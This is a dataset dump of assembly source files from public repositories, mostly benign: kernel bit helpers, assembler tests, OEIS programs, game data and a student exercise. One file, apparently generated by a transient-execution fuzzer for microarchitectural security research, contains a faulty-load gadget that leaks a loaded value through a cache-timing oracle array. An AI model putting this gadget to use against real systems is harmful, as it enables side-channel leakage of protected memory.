source
stringclasses 1
value | id
stringlengths 40
40
| language
stringclasses 2
values | date
stringclasses 1
value | author
stringclasses 1
value | url
stringclasses 1
value | title
stringclasses 1
value | extra
stringlengths 528
1.53k
| quality_signals
stringlengths 139
178
| text
stringlengths 6
1.05M
|
---|---|---|---|---|---|---|---|---|---|
TheStack | 4e013f794f46b14fb21ad138c82ac868ded8efcc | Assemblycode:Assembly | {"size": 1538, "ext": "asm", "max_stars_repo_path": "src/kernel/hal/bits.asm", "max_stars_repo_name": "dgaur/dx", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "src/kernel/hal/bits.asm", "max_issues_repo_name": "dgaur/dx", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "src/kernel/hal/bits.asm", "max_forks_repo_name": "dgaur/dx", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 18.5301204819, "max_line_length": 77, "alphanum_fraction": 0.678153446} | //
// bits.asm
//
// Miscellaneous logic for manipulating bits and bit-fields. The portions
// here rely on specific x86 instructions/functionality
//
.text
//
// find_one_bit32()
//
// Find the lowest set/one bit within a 32-bit value. No side effects.
// Returns a value in the range 0 - 31 on success, or 0xFFFFFFFF if the input
// value was initially zero.
//
// find_one_bit32(0x0) => 0xFFFFFFFF
// find_one_bit32(0x1) => 0
// find_one_bit32(0x2) => 1
// find_one_bit32(0x3) => 0
// find_one_bit32(0x4) => 2
//
// C/C++ prototype --
// uint32_t
// find_one_bit32(uint32_t value);
//
.align 4
.global find_one_bit32
find_one_bit32:
// Load the input value into %eax
movl 4(%esp), %eax
// Find the lowest-order set bit, if any
bsfl %eax, %eax
// Was the input already zero?
jnz 1f
movl $0xFFFFFFFF, %eax
1:
ret
//
// find_zero_bit32()
//
// Find the lowest clear/zero bit within a 32-bit value. No side effects.
// Returns an index in the range 0 - 31 on success, or 0xFFFFFFFF if the
// input value was initially 0xFFFFFFFF.
//
// find_zero_bit32(0x0) => 0
// find_zero_bit32(0x1) => 1
// find_zero_bit32(0x2) => 0
// find_zero_bit32(0x3) => 2
// find_zero_bit32(0x5) => 1
//
// C/C++ prototype --
// uint32_t
// find_zero_bit32(uint32_t value);
//
.align 4
.global find_zero_bit32
find_zero_bit32:
// Load the input value into %eax
movl 4(%esp), %eax
// Find the lowest-order zero bit, if any
notl %eax
bsfl %eax, %eax
// Was the input already 0xFFFFFFFF?
jnz 1f
movl $0xFFFFFFFF, %eax
1:
ret
|
||||
TheStack | 15c8615f495667a258b228051f0adef569a46839 | Assemblycode:Assembly | {"size": 342, "ext": "asm", "max_stars_repo_path": "travis/test/smartalign16.asm", "max_stars_repo_name": "km2m/nasm", "max_stars_repo_stars_event_min_datetime": "2018-03-26T02:57:34.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T00:27:59.000Z", "max_issues_repo_path": "travis/test/smartalign16.asm", "max_issues_repo_name": "km2m/nasm", "max_issues_repo_issues_event_min_datetime": "2018-02-02T23:16:57.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-21T06:09:53.000Z", "max_forks_repo_path": "travis/test/smartalign16.asm", "max_forks_repo_name": "km2m/nasm", "max_forks_repo_forks_event_min_datetime": "2019-03-24T16:34:23.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T02:01:05.000Z"} | {"max_stars_count": 2219, "max_issues_count": 250, "max_forks_count": 473, "avg_line_length": 9.7714285714, "max_line_length": 22, "alphanum_fraction": 0.6900584795} | %use smartalign
bits 16
alignmode nop, 32
add ax,ax
align 32
alignmode generic, 32
add ax,ax
align 32
alignmode k7, 32
add ax,ax
align 32
alignmode k8, 32
add ax,ax
align 32
alignmode p6, 32
add ax,ax
align 32
add ecx,ecx
align 32
add edx,edx
align 128
add ebx,ebx
align 256
add esi,esi
align 512
add edi,edi
|
||||
TheStack | 11f39fbe392bbf0cbd98c976c492bd1875deb102 | Assemblycode:Assembly | {"size": 819, "ext": "asm", "max_stars_repo_path": "libsrc/math/zxmath/sinh.asm", "max_stars_repo_name": "RC2014Z80/z88dk", "max_stars_repo_stars_event_min_datetime": "2017-01-18T12:02:17.000Z", "max_stars_repo_stars_event_max_datetime": "2021-06-12T09:40:28.000Z", "max_issues_repo_path": "libsrc/math/zxmath/sinh.asm", "max_issues_repo_name": "RC2014Z80/z88dk", "max_issues_repo_issues_event_min_datetime": "2017-03-06T07:41:56.000Z", "max_issues_repo_issues_event_max_datetime": "2017-03-06T07:41:56.000Z", "max_forks_repo_path": "libsrc/math/zxmath/sinh.asm", "max_forks_repo_name": "RC2014Z80/z88dk", "max_forks_repo_forks_event_min_datetime": "2017-03-07T03:19:40.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-15T17:59:19.000Z"} | {"max_stars_count": 8, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 15.1666666667, "max_line_length": 57, "alphanum_fraction": 0.6227106227} | ;
;
; ZX Maths Routines
;
; 21/03/03 - Stefano Bodrato
;
; $Id: sinh.asm,v 1.5 2016-06-22 19:59:18 dom Exp $
;
;double sinh(double)
; e = exp(x) ;
; return ((e-1.0/e)/2) ;
IF FORzx
INCLUDE "zxfp.def"
ENDIF
IF FORzx81
INCLUDE "81fp.def"
ENDIF
IF FORlambda
INCLUDE "lambdafp.def"
ENDIF
SECTION code_fp
PUBLIC sinh
EXTERN fsetup1
EXTERN stkequ
.sinh
call fsetup1
defb ZXFP_EXP ; and at the beginning exp (x)
defb ZXFP_DUPLICATE
defb ZXFP_STK_ONE
defb ZXFP_EXCHANGE
defb ZXFP_DIVISION ; 1/e
defb ZXFP_SUBTRACT
defb ZXFP_STK_ONE ; STK_TWO :o)
defb ZXFP_STK_ONE
defb ZXFP_ADDITION
IF FORlambda
defb ZXFP_DIVISION + 128
ELSE
defb ZXFP_DIVISION
defb ZXFP_END_CALC
ENDIF
jp stkequ
|
||||
TheStack | fa70910e69c88616abe3d570811de32e42b675f1 | Assemblycode:Assembly | {"size": 300, "ext": "asm", "max_stars_repo_path": "oeis/021/A021935.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/021/A021935.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/021/A021935.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 30.0, "max_line_length": 199, "alphanum_fraction": 0.54} | ; A021935: Decimal expansion of 1/931.
; 0,0,1,0,7,4,1,1,3,8,5,6,0,6,8,7,4,3,2,8,6,7,8,8,3,9,9,5,7,0,3,5,4,4,5,7,5,7,2,5,0,2,6,8,5,2,8,4,6,4,0,1,7,1,8,5,8,2,1,6,9,7,0,9,9,8,9,2,5,8,8,6,1,4,3,9,3,1,2,5,6,7,1,3,2,1,1,6,0,0,4,2,9,6,4,5,5,4,2
add $0,1
mov $2,10
pow $2,$0
mov $0,$2
div $0,931
mod $0,10
|
||||
TheStack | d2730ebeac81089d060b336e6eaff89d6bbf9c16 | Assemblycode:Assembly | {"size": 592, "ext": "asm", "max_stars_repo_path": "dasm/src/test/define_echo.asm", "max_stars_repo_name": "zeh/dasmjs", "max_stars_repo_stars_event_min_datetime": "2017-01-08T18:10:59.000Z", "max_stars_repo_stars_event_max_datetime": "2021-02-16T17:46:35.000Z", "max_issues_repo_path": "dasm/src/test/define_echo.asm", "max_issues_repo_name": "paul80nd/dasmjs", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "dasm/src/test/define_echo.asm", "max_forks_repo_name": "paul80nd/dasmjs", "max_forks_repo_forks_event_min_datetime": "2019-08-17T21:03:29.000Z", "max_forks_repo_forks_event_max_datetime": "2020-12-04T14:48:13.000Z"} | {"max_stars_count": 16, "max_issues_count": null, "max_forks_count": 4, "avg_line_length": 26.9090909091, "max_line_length": 54, "alphanum_fraction": 0.7483108108} | ; $Id: define_echo.asm 284 2008-11-07 01:05:04Z phf $
;
; Test case for -D and -M options and echo pseudo-op.
SOURCE_SYMBOL equ 255
IMPROPER_SYMBOL equ 127
processor 6502
echo "Defined in source file:"
echo SOURCE_SYMBOL
echo "Defined improperly in source file:"
echo IMPROPER_SYMBOL
echo "Defined externally with -D and default:"
echo EXTERNAL_D_DEFAULT
echo "Defined externally with -D and 127:"
echo EXTERNAL_D_VALUE
echo "Defined externally with -M and default:"
echo EXTERNAL_M_DEFAULT
echo "Defined externally with -M and 127:"
echo EXTERNAL_M_VALUE
end
|
||||
TheStack | 4d49a8c4cf03ab6fec1076af319d8b058fc57640 | Assemblycode:Assembly | {"size": 1006, "ext": "asm", "max_stars_repo_path": "basic/error/test.asm", "max_stars_repo_name": "hotkeysoft/cpu8085", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "basic/error/test.asm", "max_issues_repo_name": "hotkeysoft/cpu8085", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "basic/error/test.asm", "max_forks_repo_name": "hotkeysoft/cpu8085", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 14.3714285714, "max_line_length": 58, "alphanum_fraction": 0.6172962227} | .module errortest
.title Tests errorModule
.include 'error.def'
.include '..\io\io.def'
.include '..\program\program.def'
STACK == 0xFFFF ;SYSTEM STACK
.area BOOT (ABS)
.org 0x0000
RST0:
DI
LXI SP,STACK ;INITALIZE STACK
JMP START
;*********************************************************
;* MAIN PROGRAM
;*********************************************************
.area _CODE
START:
MVI A,8 ;SET INTERRUPT MASK
SIM
EI ;ENABLE INTERRUPTS
CALL IO_INIT
LXI H,0
SHLD PRG_CURRLINE ; CURRENT LINE = 0
LXI H,RESTART1
SHLD ERR_RESTARTPTR ; RESTART POSITION
JMP ERR_SYNTAX ; SYNTAX ERROR
RESTART1:
LXI H,123
SHLD PRG_CURRLINE ; CURRENT LINE = 123
LXI H,RESTART2
SHLD ERR_RESTARTPTR ; RESTART POSITION
JMP ERR_NOENDSTR ; UNTERMINATED STR CONST
RESTART2:
LXI H,10
SHLD PRG_CURRLINE ; CURRENT LINE = 10
LXI H,RESTART3
SHLD ERR_RESTARTPTR ; RESTART POSITION
JMP ERR_UNKNOWN ; UNKNOWN ERROR
RESTART3:
LOOP:
JMP LOOP
.area DATA (REL,CON)
|
||||
TheStack | 189fe6ec49bfcc3dca96e3f3d604e62fa9fb1017 | Assemblycode:Assembly | {"size": 713, "ext": "asm", "max_stars_repo_path": "_maps/obj69a.asm", "max_stars_repo_name": "vladjester2020/Sonic1TMR", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "_maps/obj69a.asm", "max_issues_repo_name": "vladjester2020/Sonic1TMR", "max_issues_repo_issues_event_min_datetime": "2019-06-13T14:26:59.000Z", "max_issues_repo_issues_event_max_datetime": "2019-10-10T13:15:14.000Z", "max_forks_repo_path": "_maps/obj69a.asm", "max_forks_repo_name": "vladjester2020/Sonic1TMR", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": 2, "max_forks_count": null, "avg_line_length": 32.4090909091, "max_line_length": 78, "alphanum_fraction": 0.4474053296} | ; ---------------------------------------------------------------------------
; Sprite mappings - spinning platforms (SBZ)
; ---------------------------------------------------------------------------
dc.w byte_15944-Map_obj69a, byte_1594F-Map_obj69a
dc.w byte_1595A-Map_obj69a, byte_15965-Map_obj69a
dc.w byte_15970-Map_obj69a
byte_15944: dc.b 2
dc.b $F8, 5, 0, 0, $F0
dc.b $F8, 5, 8, 0, 0
byte_1594F: dc.b 2
dc.b $F0, $D, 0, $14, $F0
dc.b 0, $D, 0, $1C, $F0
byte_1595A: dc.b 2
dc.b $F0, 9, 0, 4, $F0
dc.b 0, 9, 0, $A, $F8
byte_15965: dc.b 2
dc.b $F0, 9, 0, $24, $F0
dc.b 0, 9, 0, $2A, $F8
byte_15970: dc.b 2
dc.b $F0, 5, 0, $10, $F8
dc.b 0, 5, $10, $10, $F8
even |
||||
TheStack | bf359ee566c1f58cb5a189d89f014fcac845814b | Assemblycode:Assembly | {"size": 7717, "ext": "asm", "max_stars_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_286.asm", "max_stars_repo_name": "ljhsiun2/medusa", "max_stars_repo_stars_event_min_datetime": "2020-08-13T19:41:58.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-30T12:22:51.000Z", "max_issues_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_286.asm", "max_issues_repo_name": "ljhsiun2/medusa", "max_issues_repo_issues_event_min_datetime": "2021-04-29T06:29:35.000Z", "max_issues_repo_issues_event_max_datetime": "2021-05-13T21:02:30.000Z", "max_forks_repo_path": "Transynther/x86/_processed/NONE/_xt_sm_/i7-7700_9_0x48.log_21829_286.asm", "max_forks_repo_name": "ljhsiun2/medusa", "max_forks_repo_forks_event_min_datetime": "2020-07-14T17:07:07.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-21T01:12:22.000Z"} | {"max_stars_count": 9, "max_issues_count": 1, "max_forks_count": 3, "avg_line_length": 32.020746888, "max_line_length": 2999, "alphanum_fraction": 0.6584164831} | .global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r15
push %r8
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x1e51d, %r10
nop
nop
nop
cmp $37901, %r11
and $0xffffffffffffffc0, %r10
vmovntdqa (%r10), %ymm1
vextracti128 $1, %ymm1, %xmm1
vpextrq $1, %xmm1, %r15
nop
nop
nop
nop
nop
dec %r11
lea addresses_normal_ht+0x1049d, %rsi
lea addresses_A_ht+0x1759d, %rdi
nop
nop
nop
nop
nop
add %r8, %r8
mov $22, %rcx
rep movsq
nop
nop
nop
nop
nop
dec %rdi
lea addresses_D_ht+0xd29d, %r15
clflush (%r15)
nop
nop
nop
sub %r11, %r11
mov (%r15), %r8d
nop
nop
xor $17922, %rdi
lea addresses_A_ht+0x1a36d, %rsi
lea addresses_WT_ht+0x7c55, %rdi
clflush (%rsi)
nop
nop
nop
dec %r11
mov $30, %rcx
rep movsw
nop
nop
nop
cmp %r11, %r11
lea addresses_WC_ht+0xf007, %rsi
lea addresses_WC_ht+0x24e5, %rdi
nop
nop
nop
nop
dec %r15
mov $3, %rcx
rep movsb
cmp $6638, %r15
lea addresses_WC_ht+0x44bf, %r11
add $23419, %r8
mov (%r11), %r10w
nop
add $4392, %r11
lea addresses_D_ht+0x1e69d, %rsi
lea addresses_D_ht+0x1e8ed, %rdi
nop
nop
nop
nop
nop
xor $4845, %r10
mov $51, %rcx
rep movsl
nop
nop
nop
nop
nop
add $57970, %r15
lea addresses_WC_ht+0xf59d, %rsi
lea addresses_A_ht+0x1341d, %rdi
nop
nop
nop
nop
nop
dec %r8
mov $96, %rcx
rep movsq
nop
cmp %r8, %r8
lea addresses_normal_ht+0x1631d, %rsi
lea addresses_normal_ht+0x125fb, %rdi
xor $10547, %r14
mov $91, %rcx
rep movsw
add %r10, %r10
pop %rsi
pop %rdi
pop %rcx
pop %r8
pop %r15
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r15
push %r8
push %rax
push %rdi
push %rdx
// Store
lea addresses_normal+0x399d, %rdx
nop
nop
nop
dec %r13
movl $0x51525354, (%rdx)
nop
nop
nop
nop
cmp %rax, %rax
// Store
lea addresses_US+0x8d9d, %r12
nop
nop
inc %rax
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
vmovups %ymm0, (%r12)
xor $7244, %r12
// Load
lea addresses_WT+0x1bea5, %rdi
clflush (%rdi)
nop
nop
nop
nop
add $30677, %r8
movb (%rdi), %r13b
nop
nop
nop
cmp %r15, %r15
// Store
lea addresses_D+0x1f99d, %rdi
clflush (%rdi)
nop
nop
nop
nop
nop
cmp $27471, %r15
mov $0x5152535455565758, %rdx
movq %rdx, (%rdi)
nop
cmp %r12, %r12
// Store
lea addresses_A+0x1f0bb, %r15
nop
nop
nop
nop
add $51313, %rax
mov $0x5152535455565758, %r13
movq %r13, (%r15)
xor %rax, %rax
// Faulty Load
lea addresses_D+0x1f99d, %rax
nop
nop
nop
nop
add $50118, %r15
mov (%rax), %dx
lea oracles, %rdi
and $0xff, %rdx
shlq $12, %rdx
mov (%rdi,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %rax
pop %r8
pop %r15
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 16, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'congruent': 10, 'size': 4, 'same': False, 'NT': True}}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 8, 'size': 32, 'same': False, 'NT': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WT', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'congruent': 1, 'size': 8, 'same': False, 'NT': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 0, 'size': 2, 'same': True, 'NT': False}}
<gen_prepare_buffer>
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 32, 'same': False, 'NT': True}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 10, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': True, 'congruent': 2, 'size': 4, 'same': False, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 3, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 0, 'same': False}, 'dst': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 1, 'size': 2, 'same': True, 'NT': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'dst': {'type': 'addresses_D_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_WC_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 1, 'same': False}}
{'58': 21829}
58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58 58
*/
|
||||
TheStack | 19fa1d9e293cdf781d1de1ee70dea5b0b4d468a5 | Assemblycode:Assembly | {"size": 499, "ext": "asm", "max_stars_repo_path": "oeis/092/A092344.asm", "max_stars_repo_name": "neoneye/loda-programs", "max_stars_repo_stars_event_min_datetime": "2021-08-22T19:44:55.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-20T16:47:57.000Z", "max_issues_repo_path": "oeis/092/A092344.asm", "max_issues_repo_name": "neoneye/loda-programs", "max_issues_repo_issues_event_min_datetime": "2021-08-29T13:15:54.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-09T19:52:31.000Z", "max_forks_repo_path": "oeis/092/A092344.asm", "max_forks_repo_name": "neoneye/loda-programs", "max_forks_repo_forks_event_min_datetime": "2021-08-22T20:56:47.000Z", "max_forks_repo_forks_event_max_datetime": "2021-09-29T06:26:12.000Z"} | {"max_stars_count": 11, "max_issues_count": 9, "max_forks_count": 3, "avg_line_length": 21.6956521739, "max_line_length": 221, "alphanum_fraction": 0.6332665331} | ; A092344: a(0)=1; a(n) = sigma_2(n) + sigma_3(n).
; Submitted by Jamie Morken(w3)
; 1,2,14,38,94,152,302,394,670,848,1264,1454,2254,2368,3346,3788,5022,5204,7268,7222,9744,10132,12598,12698,17230,16402,20632,21260,26162,25232,33052,30754,38814,38516,45676,44644,57172,52024,63550,63244,75920,70604,89188
mov $2,$0
lpb $0
mov $3,$2
dif $3,$0
cmp $3,$2
cmp $3,0
mul $3,$0
sub $0,1
mov $4,$3
add $4,1
mov $5,$4
add $4,$1
mul $5,$3
mul $3,$5
add $1,$3
lpe
mov $0,$4
add $0,1
|
||||
TheStack | 033f60abd72ff7b13c7fb6f5875daba7ca3a86d9 | Assemblycode:Assembly | {"size": 1770, "ext": "asm", "max_stars_repo_path": "nasm assembly/assgnments/question4.asm", "max_stars_repo_name": "AI-Factor-y/NASM-library", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "nasm assembly/assgnments/question4.asm", "max_issues_repo_name": "AI-Factor-y/NASM-library", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "nasm assembly/assgnments/question4.asm", "max_forks_repo_name": "AI-Factor-y/NASM-library", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 10.8588957055, "max_line_length": 49, "alphanum_fraction": 0.5915254237} | section .data
msg1 : db 'Enter first digit of first number :'
l1 : equ $-msg1
msg2 : db 'Enter second digit of first number :'
l2 : equ $-msg2
msg3 : db ' ',10
l3 : equ $-msg3
section .bss
num11 : resb 1
num12 : resb 1
n1 : resb 1
n2 : resb 1
n3 : resb 1
junk : resb 1
junk1 : resb 1
junk2 : resb 1
ans1 : resb 1
ans2 : resb 1
ans3 : resb 1
ans4 : resw 1
ans0 : resw 1
sum : resw 1
counter : resw 1
section .text
global _start:
_start:
mov eax, 4
mov ebx, 1
mov ecx, msg1
mov edx, l1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, num11
mov edx, 1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, junk
mov edx, 1
int 80h
mov eax, 4
mov ebx, 1
mov ecx, msg2
mov edx, l1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, num12
mov edx, 1
int 80h
mov eax, 3
mov ebx, 0
mov ecx, junk1
mov edx, 1
int 80h
; calculating first number
mov al, byte[num11]
sub al, 30h
mov bl, 10
mov ah, 0
mul bl
mov bx, word[num12]
sub bx, 30h
add ax, bx
mov [n1], ax
mov word[counter],0
mov word[sum],0
for:
mov bx, word[counter]
mov ax, word[n1]
cmp ax,bx
jb exit_for
; sum= sum+counter
mov ax, word[sum]
add ax, bx
mov word[sum], ax
add bx,2
mov word[counter],bx
jmp for
exit_for:
mov dx, 0
mov ax,word[sum]
mov bx, 1000
div bx
mov ax,dx
mov bl, 100
mov ah, 0
div bl
add al, 30h
mov [ans4], ah
mov [ans1], al
mov ax, word[ans4]
mov bl, 10
mov ah, 0
div bl
add al, 30h
add ah, 30h
mov [ans2], al
mov [ans3], ah
mov eax, 4
mov ebx, 1
mov ecx, ans1
mov edx, 1
int 80h
mov eax, 4
mov ebx, 1
mov ecx, ans2
mov edx, 1
int 80h
mov eax, 4
mov ebx, 1
mov ecx, ans3
mov edx, 1
int 80h
mov eax, 1
mov ebx, 0
int 80h
|
||||
TheStack | b160e269838481fa87520abcc72ffb945f566b00 | Assemblycode:Assembly | {"size": 467, "ext": "asm", "max_stars_repo_path": "data/pokemon/base_stats/hoenn/corphish.asm", "max_stars_repo_name": "Dev727/ancientplatinum", "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "data/pokemon/base_stats/hoenn/corphish.asm", "max_issues_repo_name": "Dev727/ancientplatinum", "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "data/pokemon/base_stats/hoenn/corphish.asm", "max_forks_repo_name": "Dev727/ancientplatinum", "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null} | {"max_stars_count": null, "max_issues_count": null, "max_forks_count": null, "avg_line_length": 21.2272727273, "max_line_length": 53, "alphanum_fraction": 0.6680942184} | db 0 ; 341 DEX NO
db 43, 80, 65, 35, 50, 35
; hp atk def spd sat sdf
db WATER, WATER ; type
db 205 ; catch rate
db 111 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 15 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/hoenn/corphish/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_FLUCTUATING ; growth rate
dn EGG_WATER_1, EGG_WATER_3 ; egg groups
; tm/hm learnset
tmhm
; end
